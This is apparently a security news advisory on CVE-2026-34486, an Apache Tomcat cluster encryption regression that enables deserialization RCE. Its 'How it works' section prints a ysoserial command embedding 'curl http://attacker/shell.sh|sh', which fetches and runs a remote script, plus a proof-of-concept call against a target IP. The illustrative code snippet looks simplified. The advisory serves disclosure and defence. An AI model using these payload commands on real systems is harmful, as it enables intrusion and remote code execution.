← News
/DISPATCH · 2026-08-05

CVE-2026-34486: Apache Tomcat Cluster EncryptInterceptor Fix Regression Leads to RCE (CVSS 7.5)

Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 regressed EncryptInterceptor from fail-closed to fail-open while fixing CVE-2026-29146, producing CVE-2026-34486 (CVSSv3.1 7.5). TCP access to the default Tribes port 4000 lets an attacker send unencrypted deserialization payloads for RCE; CISA added it to KEV.

Incident overview

On 2026-04-09 the Apache Software Foundation published an advisory for CVE-2026-34486, a regression in Apache Tomcat 11.0.20 / 10.1.53 / 9.0.116 introduced while fixing CVE-2026-29146. CISA added it to the Known Exploited Vulnerabilities (KEV) catalog on 2026-08-04; federal agencies must remediate by 2026-08-07. CISA-ADP CVSSv3.1 is 7.5 (High), vector `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`, CWE-311 (Missing Encryption of Sensitive Data). Independent analysis from Alibaba Cloud AVD and CN-SEC shows practical RCE when a deserialization gadget chain is present; real impact exceeds 7.5.

Reported by striga.ai researcher Bartlomiej Dmitruk. Fixed in 9.0.117, 10.1.54, 11.0.21. Tomcat Tribes listens on 0.0.0.0:4000 by default; any deployment exposing the cluster port on a public or shared network is in scope.

Technical details

Tomcat Tribes and EncryptInterceptor

In cluster mode Tomcat uses Tribes for membership, reliable messaging, and session replication. Tribes binds TCP 4000 by default. Frames start with `FLT2002`, end with `TLF2003`, payload is `ChannelData`. EncryptInterceptor is the interceptor that applies symmetric encryption between nodes using a shared key.

Regression

While fixing CVE-2026-29146, Apache moved one line in EncryptInterceptor: `throw new IOException("decrypt failed");` was relocated from before decrypt failure to after decrypt success. When decrypt throws, plaintext messages with encryption flag `false` still continue down the interceptor chain into deserialization — fail-closed became fail-open.

// Vulnerable version: throw only on decrypt success; on failure plaintext continues
if (!decrypted) {
    log.warn("decrypt failed, fall through");   // Regression: should abort
} else {
    throw new IOException("decrypt failed");    // Unreachable
}
nextInterceptor.messageReceived(member, data);  // Plaintext goes straight to deserialization

How it works

Any source that can open TCP to Tribes port 4000 can send a well-formed Tribes frame whose payload is a plaintext Java serialized object. With Commons Collections, GadgetChain, SnakeYAML, or similar gadget libraries on the server, this yields arbitrary Java code execution:

# Build CommonsCollections gadget-chain payload with ysoserial
java -jar ysoserial-all.jar CommonsCollections6 'curl http://attacker/shell.sh|sh' > payload.bin

# Wrap in Tribes FLT2002 / TLF2003 frame and send to TCP 4000
python3 tribes_poc.py --target 10.0.0.10 --port 4000 --payload payload.bin

Impact assessment

CVSS marks PR:N (no privileges). That assumes the Tribes port is not network-isolated. CN-SEC notes many teams enabled EncryptInterceptor specifically to protect cluster traffic; that config is now the weak point, especially when the port is exposed on an internal network.

Remediation

1. Immediate upgrade

2. Network mitigations (if upgrade is delayed)

3. Detection and response

References